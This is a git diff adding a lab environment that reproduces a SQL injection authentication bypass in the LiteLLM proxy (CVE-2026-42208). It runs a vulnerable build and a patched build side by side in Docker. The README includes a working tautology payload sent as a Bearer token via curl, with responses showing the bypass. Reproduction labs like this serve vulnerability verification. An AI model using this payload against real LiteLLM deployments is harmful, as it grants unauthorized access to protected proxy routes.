diff --git a/litellm/CVE-2026-42208/README.md b/litellm/CVE-2026-42208/README.md new file mode 100644 index 00000000..8fc0b9b8 --- /dev/null +++ b/litellm/CVE-2026-42208/README.md @@ -0,0 +1,45 @@ +# SQL Injection affecting LiteLLM proxy authentication (CVE-2026-42208) + +LiteLLM proxy versions v1.82.0 and earlier fail to properly parameterize token verification queries. A remote unauthenticated attacker can supply crafted API keys containing malicious SQL syntax (such as tautology-based payloads) to bypass authentication checks and interact with protected proxy routes. + +## Vulnerable Version + +### Setup + +Start the vulnerable LiteLLM proxy instance (v1.82.0-stable) and its PostgreSQL database on port 4000: + +```sh +docker compose up -d litellm-vuln db +``` +### Testing the vulnerability + +``` +curl -H "Authorization: Bearer ' OR '1'='1" localhost:4000/v1/models + +``` +Response: + +``` +{"data":[{"id":"*","object":"model","created":1677610602,"owned_by":"openai"}],"object":"list"} + +``` +## Safe Version + +### Setup + +Start the patched LiteLLM proxy instance (v1.83.10-stable) and its PostgreSQL database on port 4001: + +```sh +docker compose up -d litellm-patched db +``` +### Testing the vulnerability + +``` +curl -H "Authorization: Bearer ' OR '1'='1" localhost:4001/v1/models +``` +Response: + +``` +{"error":{"message":"Authentication Error, LiteLLM Virtual Key expected. Received=' OR****'='1, expected to start with 'sk-'.","type":"auth_error","param":"None","code":"401"}} + +``` \ No newline at end of file diff --git a/litellm/CVE-2026-42208/config.yaml b/litellm/CVE-2026-42208/config.yaml new file mode 100644 index 00000000..6e49d21a --- /dev/null +++ b/litellm/CVE-2026-42208/config.yaml @@ -0,0 +1,15 @@ +model_list: + - model_name: local-dummy + litellm_params: + model: openai/local-dummy + api_base: http://127.0.0.1:65535/v1 + api_key: sk-local-dummy-provider-key + +general_settings: + master_key: sk-local-master-vuln + database_url: os.environ/DATABASE_URL + store_model_in_db: true + disable_error_logs: false + +litellm_settings: + set_verbose: false diff --git a/litellm/CVE-2026-42208/docker-compose.yml b/litellm/CVE-2026-42208/docker-compose.yml new file mode 100644 index 00000000..3b4a3b5a --- /dev/null +++ b/litellm/CVE-2026-42208/docker-compose.yml @@ -0,0 +1,85 @@ +services: + db: + image: postgres:15-alpine + container_name: litellm-db + environment: + POSTGRES_USER: litellm + POSTGRES_PASSWORD: litellm + POSTGRES_DB: litellm + healthcheck: + test: ["CMD-SHELL", "pg_isready -U litellm -d litellm"] + interval: 5s + timeout: 3s + retries: 30 + restart: unless-stopped + + # --- VULNERABLE PROXY (Port 4000) --- + litellm-vuln: + image: ghcr.io/berriai/litellm:v1.82.0-stable + container_name: litellm-proxy-vuln + depends_on: + db: + condition: service_healthy + environment: + PYTHONOPTIMIZE: "1" + DATABASE_URL: postgresql://litellm:litellm@db:5432/litellm + STORE_MODEL_IN_DB: "True" + LITELLM_MASTER_KEY: sk-local-master-vuln + ports: + - "4000:4000" + volumes: + - ./config.yaml:/app/config.yaml + command: ["--config", "/app/config.yaml", "--port", "4000", "--host", "0.0.0.0"] + healthcheck: + test: ["CMD-SHELL", "python -c \"import urllib.request; urllib.request.urlopen('http://127.0.0.1:4000/health/readiness', timeout=3)\""] + interval: 5s + timeout: 3s + retries: 30 + restart: unless-stopped + + # --- PATCHED PROXY (Port 4001) --- + litellm-patched: + image: ghcr.io/berriai/litellm:v1.83.10-stable + container_name: litellm-proxy-patched + depends_on: + db: + condition: service_healthy + environment: + DATABASE_URL: postgresql://litellm:litellm@db:5432/litellm + STORE_MODEL_IN_DB: "True" + LITELLM_MASTER_KEY: sk-local-master-vuln + ports: + - "4001:4000" + volumes: + - ./config.yaml:/app/config.yaml + command: ["--config", "/app/config.yaml", "--port", "4000", "--host", "0.0.0.0"] + healthcheck: + test: ["CMD-SHELL", "python -c \"import urllib.request; urllib.request.urlopen('http://127.0.0.1:4000/health/readiness', timeout=3)\""] + interval: 5s + timeout: 3s + retries: 30 + restart: unless-stopped + + # --- RELIABLE AUTOMATED SEEDER --- + seeder: + image: docker.io/curlimages/curl + container_name: litellm-seeder + depends_on: + litellm-vuln: + condition: service_healthy + litellm-patched: + condition: service_healthy + command: + - sh + - -c + - | + echo "Seeding Vulnerable Proxy..." + until [ "$(curl -s -o /dev/null -w "%{http_code}" -X POST http://litellm-vuln:4000/key/generate -H "Authorization: Bearer sk-local-master-vuln" -H "Content-Type: application/json" -d '{"models":["*"]}')" = "200" ]; do + echo "Waiting for vuln proxy API..." + sleep 2 + done + + echo "Vulnerable Proxy seeding completed successfully!" + +volumes: + postgres_data: